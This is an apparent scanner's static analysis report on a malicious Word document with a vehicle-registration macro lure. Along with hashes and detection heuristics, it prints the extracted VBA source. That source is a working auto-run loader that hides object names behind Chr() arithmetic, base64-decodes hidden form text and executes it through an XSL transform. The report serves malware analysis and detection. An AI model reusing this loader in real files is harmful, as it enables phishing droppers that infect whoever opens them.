Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 8a8a7a506fd57bde…

MALICIOUS

Office (OLE) / .DOC

182.5 KB Created: 2023-06-11 08:23:00 Authoring application: Microsoft Office Word First seen: 2023-07-08
MD5: 64f8dfd92eb972483feaf3137ec06d3c SHA-1: 3d71d782b95f13ee69e96bcf73ee279a00eae5db SHA-256: 8a8a7a506fd57bde314ce6154f2484f280049f2bda504d43704b9ad412d5d618
130 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information

The sample is a malicious Office document containing VBA macros. The Document_Open macro is configured to execute upon opening, and it uses CreateObject to likely download and execute a second-stage payload. The document body presents a lure for vehicle licensing registration, instructing the user to enable macros. The script obfuscates strings, which are then concatenated with user form input, indicating an attempt to hide malicious functionality.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set x = CreateObject(co1)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.sla.sc In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3478 bytes
SHA-256: f3a6a36c1aedab80505fc6dd47f6ed6b90177d7b06043b0e7ad5142e570bfb10
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next

ActiveDocument.Shapes(6).Visible = True
ActiveDocument.Shapes(7).Visible = True
ActiveDocument.Shapes(8).Visible = True
ActiveDocument.Shapes(9).Visible = True
ActiveDocument.Shapes(10).Visible = True


ActiveDocument.Shapes(1).Visible = False
ActiveDocument.Shapes(2).Visible = False
ActiveDocument.Shapes(3).Visible = False
ActiveDocument.Shapes(4).Visible = False
ActiveDocument.Shapes(5).Visible = False


f = ""
f = f + Chr(62 + 18)
f = f + Chr(52 + 16)
f = f + Chr(46 + 11)
f = f + Chr(34 + 18)
f = f + Chr(100 - 2)
f = f + Chr(71 + 16)
f = f + Chr(138 - 19)
f = f + Chr(99 + 4)
f = f + Chr(107 - 7)
f = f + Chr(122 - 13)
f = f + Chr(65 + 21)
f = f + Chr(133 - 12)
f = f + Chr(119 - 20)
f = f + Chr(65 - 15)
f = f + Chr(110 - 2)
f = f + Chr(116 + 2)
f = f + Chr(108 - 10)
f = f + Chr(97 + 9)
f = f + Chr(40 + 8)
f = f + Chr(90 + 20)
f = f + Chr(56 + 21)
f = f + Chr(93 - 10)
f = f + Chr(37 + 15)
f = f + Chr(141 - 22)
f = f + Chr(76 - 2)
f = f + Chr(114 + 8)
f = f + Chr(39 + 17)
f = f + Chr(52 - 9)
f = f + Chr(65 + 3)


Dim x As String
x = f + UserForm1.t1.Text
x = x + UserForm1.t2.Text
lx x

End Sub
Function bsix(ByVal v)
    Dim x, n
    
    Dim co1, co2, co3
    co1 = ""
co1 = co1 + Chr(59 + 18)
co1 = co1 + Chr(114 + 1)
co1 = co1 + Chr(128 - 8)
co1 = co1 + Chr(120 - 11)
co1 = co1 + Chr(112 - 4)
co1 = co1 + Chr(54 - 4)
co1 = co1 + Chr(55 - 9)
co1 = co1 + Chr(80 - 12)
co1 = co1 + Chr(82 - 3)
co1 = co1 + Chr(95 - 18)
co1 = co1 + Chr(66 + 2)
co1 = co1 + Chr(99 + 12)
co1 = co1 + Chr(110 - 11)
co1 = co1 + Chr(125 - 8)
co1 = co1 + Chr(117 - 8)
co1 = co1 + Chr(95 + 6)
co1 = co1 + Chr(101 + 9)
co1 = co1 + Chr(121 - 5)

co2 = ""
co2 = co2 + Chr(112 - 14)
co2 = co2 + Chr(80 + 17)
co2 = co2 + Chr(116 - 1)
co2 = co2 + Chr(106 - 5)
co2 = co2 + Chr(64 - 10)
co2 = co2 + Chr(30 + 22)

co3 = ""
co3 = co3 + Chr(114 - 16)
co3 = co3 + Chr(122 - 17)
co3 = co3 + Chr(127 - 17)
co3 = co3 + Chr(31 + 15)

    Set x = CreateObject(co1)
    Set n = x.CreateElement(co2)
    n.DataType = co3 & co2
    n.Text = v
    bsix = n.nodeTypedValue
    Set n = Nothing
    Set x = Nothing
End Function
Function b2s(byteArray)
    Dim stream, stringData
    Set stream = CreateObject("ADODB.Stream")
    stream.Type = 1
    stream.Open
    stream.Write byteArray
    stream.Position = 0
    stream.Type = 2
    stream.Charset = "UTF-8"
    stringData = stream.ReadText
    stream.Close
    Set stream = Nothing
    b2s = stringData
End Function
Sub lx(x)
    b = bsix(x)
    Dim bstr As String
    bstr = b2s(b)
    Dim XDoc, root
    Set XDoc = CreateObject("MSXML2.DOMDocument")
    XDoc.async = False
    Set xsl = XDoc
    XDoc.LoadXML (bstr)
    XDoc.transformNode xsl
End Sub

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{9790A70D-8861-4B1F-8E85-1D5F99AEB429}{991BA0B7-453C-484B-B5E4-AC4031FDB1AA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Open this report in the interactive analyzer, or submit your own file for analysis.